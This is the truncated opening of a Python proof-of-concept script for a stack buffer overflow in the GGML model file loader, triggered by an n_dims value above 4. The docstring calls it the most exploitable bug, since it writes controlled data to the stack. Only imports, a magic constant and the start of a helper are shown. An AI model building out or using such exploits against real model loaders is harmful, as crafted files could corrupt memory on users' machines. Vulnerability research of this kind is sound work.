#!/usr/bin/env python3 """ Refined PoC for VULN-1: Stack buffer overflow via n_dims > 4 This is the most exploitable bug - writes controlled data to the stack. """ import struct, os GGML_FILE_MAGIC = 0x67676d6c def write_i32(f, val): f.write(struct.pack('